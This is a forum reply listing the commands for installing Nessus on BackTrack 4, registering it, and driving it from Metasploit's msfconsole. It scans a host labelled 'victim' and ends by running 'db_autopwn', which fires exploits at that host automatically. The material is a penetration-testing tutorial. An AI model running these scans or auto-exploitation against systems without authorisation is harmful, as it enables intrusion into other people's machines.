Thx for the tutorial .. its awesome!
I wrote about how to setup nessus and the commands down that is used in the video.. Here goes:
#Install Nessus on Backtrack4
Code:
apt-get update && apt-get upgrade
#Go to Tenable Network Security and download Nessus-4.2.0-ubuntu804_i386.deb to /root
#Open terminal
cd /root
dpkg -i Nessus-4.2.0-ubuntu804_i386.deb
#add a nessus-user with the folowing command:
Code:
/opt/nessus/sbin/nessus-adduser
#make the user admin when asked for it
#register Nessus as a home user for free via this link:
Tenable Network Security
#register Nessus with the key you recieved on the email adress you entered
Code:
/opt/nessus/bin/nessus-fetch --register [your key]
#Run nessus via web-interface (optional)
Code:
/etc/init.d/nessusd start
#Open your browser (i.e Konqueror) and type:
https://127.0.0.1:8834
#Backtrack 4 is using Firefox with the NoScript Addon. It will block per default the running scripts. To see #the login page, you need to disable this feature for the local webserver.
________________________
#update msfconsole for nessus-plugin
#press P for permanently adding the fingerprint
#start nessus
Code:
/opt/nessus/sbin/nessusd
# new shell
Code:
cd /pentest/exploits/framework3/
./msfconsole
load nessus
nessus_help
nessus_connect username:password@127.0.0.1:8834 ok
nessus_server_status
nessus_admin
nessus_plugin_list
nessus_policy_list
nessus_scan_new -1 victim 192.168.0.16
nessus_scan_status
nessus_report_list
# Check for ID
Code:
nessus_report_hosts <ID>
nessus_report_host_ports 192.168.0.16 <ID>
# further inspect ssh on port 22
Code:
nessus_report_host_detail 192.168.0.16 22 tcp <ID>
#start op autopwn
Code:
db_driver sqlite3
db_connect
nessus_report_get <ID>
db_hosts
db_autopwn -t -x -p -e